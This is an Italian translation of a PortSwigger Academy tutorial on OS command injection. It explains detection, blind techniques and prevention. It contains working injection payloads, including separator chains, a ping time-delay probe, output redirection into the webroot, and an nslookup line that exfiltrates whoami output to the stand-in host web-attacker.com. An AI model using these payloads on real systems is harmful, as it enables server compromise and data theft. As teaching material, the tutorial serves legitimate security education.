OS command injection

PortSwigger Academy – OS command injection

Continua il percorso di apprendimento suggerito da “PortSwigger Academy”.

OS command injection

In questa sezione spiegheremo cos’è l’OS command injection, descriveremo come le vulnerabilità possono essere rilevate e sfruttate, spiegheremo alcuni comandi e tecniche utili per diversi sistemi operativi e riassumeremo come prevenire l’OS command injection.

Che cos’è l’OS command injection?

L’OS command injection (nota anche come iniezione della shell) è una vulnerabilità della sicurezza Web che consente a un utente malintenzionato di eseguire comandi arbitrari del sistema operativo (OS) sul server che esegue un’applicazione e in genere di compromettere completamente l’applicazione e tutti i suoi dati. Molto spesso, un utente malintenzionato può sfruttare una vulnerabilità legata all’OS command injection per compromettere altre parti dell’infrastruttura di hosting, sfruttando le relazioni di fiducia per indirizzare l’attacco verso altri sistemi all’interno dell’organizzazione.

Esecuzione di comandi arbitrari

Consideriamo un’applicazione per lo shopping che consenta all’utente di visualizzare se un articolo è disponibile in un particolare negozio. È possibile accedere a queste informazioni tramite un URL come:

https://insecure-website.com/stockStatus?productID=381&storeID=29

Per fornire le informazioni sulle scorte, l’applicazione deve interrogare vari sistemi legacy. Per ragioni storiche, la funzionalità viene implementata richiamando un comando di shell con gli ID del prodotto e del negozio come argomenti:

stockreport.pl 381 29

Questo comando restituisce lo stato delle scorte per l’articolo specificato, che viene restituito all’utente.

Poiché l’applicazione non implementa difese contro l’OS command injection, un utente malintenzionato può inviare il seguente input per eseguire un comando arbitrario:

& echo aiwefwlguh &

Se questo input viene inviato nel parametro productID, il comando eseguito dall’applicazione è:

stockreport.pl & echo aiwefwlguh & 29

Il comando echo fa semplicemente sì che la stringa fornita venga ripetuta nell’output ed è un modo utile per testare alcuni tipi di command injection del sistema operativo. Il carattere & è un separatore di comandi della shell, quindi ciò che viene eseguito sono in realtà tre comandi separati uno dopo l’altro. Di conseguenza, l’output restituito all’utente è:

Error - productID was not provided
aiwefwlguh
29: command not found

Le tre linee di output dimostrano che:

  • Il comando stockreport.pl originale è stato eseguito senza gli argomenti previsti e quindi ha restituito un messaggio di errore.
  • Il comando echo inserito è stato eseguito e la stringa fornita è stata riprodotta nell’output.
  • L’argomento originale 29 è stato eseguito come comando, causando un errore.

Posizionare il separatore & dopo il comando inserito è generalmente utile perché separa il comando inserito da tutto ciò che segue il punto di iniezione. Ciò riduce la probabilità che quello che segue impedisca l’esecuzione del comando inserito.

Lab: OS command injection, simple case

Comandi utili

Una volta identificata una vulnerabilità di command injection del sistema operativo, è generalmente utile eseguire alcuni comandi iniziali per ottenere informazioni sul sistema che è stato compromesso. Di seguito è riportato un riepilogo di alcuni comandi utili sulle piattaforme Linux e Windows:

Scopo del comandoLinuxWindows
Nome dell’utente correntewhoamiwhoami
Sistema operativouname -aver
Configurazione di reteifconfigipconfig /all
Connessioni di retenetstat -annetstat -an
Processi in esecuzioneps -eftasklist
Comandi utili

Vulnerabilità Blind OS command injection

Molti casi di command injection del sistema operativo sono vulnerabilità cieche. Ciò significa che l’applicazione non restituisce l’output del comando all’interno della sua risposta HTTP. Le vulnerabilità cieche possono ancora essere sfruttate, ma sono necessarie tecniche diverse.

Considera un sito web che consenta agli utenti di inviare feedback sul sito. L’utente inserisce il proprio indirizzo e-mail e il messaggio di feedback. L’applicazione lato server genera quindi un’e-mail all’amministratore del sito contenente il feedback. Per fare ciò, chiama il programma di posta con i dettagli inviati. Per esempio:

mail -s “This site is great” -aFrom:peter@normal-user.net feedback@vulnerable-website.com

L’output del comando mail (se presente) non viene restituito nelle risposte dell’applicazione, pertanto l’utilizzo del payload echo non sarebbe efficace. In questa situazione, è possibile utilizzare una serie di altre tecniche per rilevare e sfruttare una vulnerabilità.

Rilevamento del blind OS command injection utilizzando ritardi temporali

È possibile utilizzare un comando iniettato che attiverà un ritardo temporale, consentendo di confermare che il comando è stato eseguito in base al tempo impiegato dall’applicazione per rispondere. Il comando ping è un modo efficace per farlo, poiché consente di specificare il numero di pacchetti ICMP da inviare e quindi il tempo impiegato per l’esecuzione del comando:

& ping -c 10 127.0.0.1 &

Questo comando farà sì che l’applicazione esegua il ping della scheda di rete loopback per 10 secondi.

Lab: Blind OS command injection with time delays

Sfruttare il blind OS command injection reindirizzando l’output

Puoi reindirizzare l’output del comando inserito in un file all’interno della radice web che puoi quindi recuperare utilizzando il browser. Ad esempio, se l’applicazione fornisce risorse statiche dalla posizione del file system /var/www/static, puoi inviare il seguente input:

& whoami > /var/www/static/whoami.txt &

Il carattere > invia l’output del comando whoami al file specificato. È quindi possibile utilizzare il browser per recuperare https://vulnerable-website.com/whoami.txt per recuperare il file e visualizzare l’output del comando inserito.

Lab: Blind OS command injection with output redirection

Sfruttare il blind OS command injection utilizzando tecniche fuori banda (OAST).

Puoi utilizzare un command injection che attiverà un’interazione di rete fuori banda con un sistema da te controllato, utilizzando le tecniche OAST.. Per esempio:

& nslookup kgji2ohoyw.web-attacker.com &

Questo payload utilizza il comando nslookup per provocare una ricerca DNS per il dominio specificato. L’aggressore può monitorare il verificarsi della ricerca specificata e quindi rilevare che il comando è stato inserito con successo.

Lab: Blind OS command injection with out-of-band interaction

Il canale fuori banda fornisce anche un modo semplice per estrarre l’output dai comandi inseriti:

& nslookup `whoami`.kgji2ohoyw.web-attacker.com &

Ciò causerà una ricerca DNS nel dominio dell’aggressore contenente il risultato del comando whoami:

wwwuser.kgji2ohoyw.web-attacker.com

Lab: Blind OS command injection with out-of-band data exfiltration

Modi per inserire OS command injection

È possibile utilizzare una varietà di metacaratteri della shell per eseguire attacchi di command injection del sistema operativo.

Un certo numero di caratteri funziona come separatori di comandi, consentendo di concatenare i comandi. I seguenti separatori di comandi funzionano sia sui sistemi basati su Windows che su Unix:

&

&&

|

||

I seguenti separatori di comandi funzionano solo su sistemi basati su Unix:

;

Nuova riga (0x0a oppure \n)

Sui sistemi basati su Unix, puoi anche utilizzare i backtick o il carattere del dollaro per eseguire l’esecuzione in linea di un comando inserito all’interno del comando originale:

`

comando iniettato `

$ (

comando iniettato)

Si noti che i diversi metacaratteri della shell hanno comportamenti leggermente diversi che potrebbero influenzare il loro funzionamento in determinate situazioni.

A volte, l’input che controlli appare tra virgolette nel comando originale. In questa situazione, è necessario terminare il contesto citato (utilizzando oppure ) prima di utilizzare i metacaratteri della shell adatti per inserire un nuovo comando.

Come prevenire gli attacchi di OS command injection

Di gran lunga il modo più efficace per prevenire le vulnerabilità di OS command injection è non richiamare mai i comandi del sistema operativo dal codice a livello di applicazione. Praticamente in ogni caso, esistono modi alternativi per implementare la funzionalità richiesta utilizzando API della piattaforma più sicure.

Se si ritiene inevitabile richiamare i comandi del sistema operativo con l’input fornito dall’utente, è necessario eseguire una valida convalida dell’input. Alcuni esempi di validazione efficace includono:

  • Convalida rispetto a una whitelist di valori consentiti.
  • Convalidare che l’input è un numero.
  • Convalidare che l’input contenga solo caratteri alfanumerici, nessun’altra sintassi o spazi bianchi.

Non tentare mai di ripulire l’input eseguendo l’escape dei metacaratteri della shell. In pratica, questo è semplicemente troppo soggetto a errori e vulnerabile alle attività di un utente malintenzionato esperto.

Per saperne di più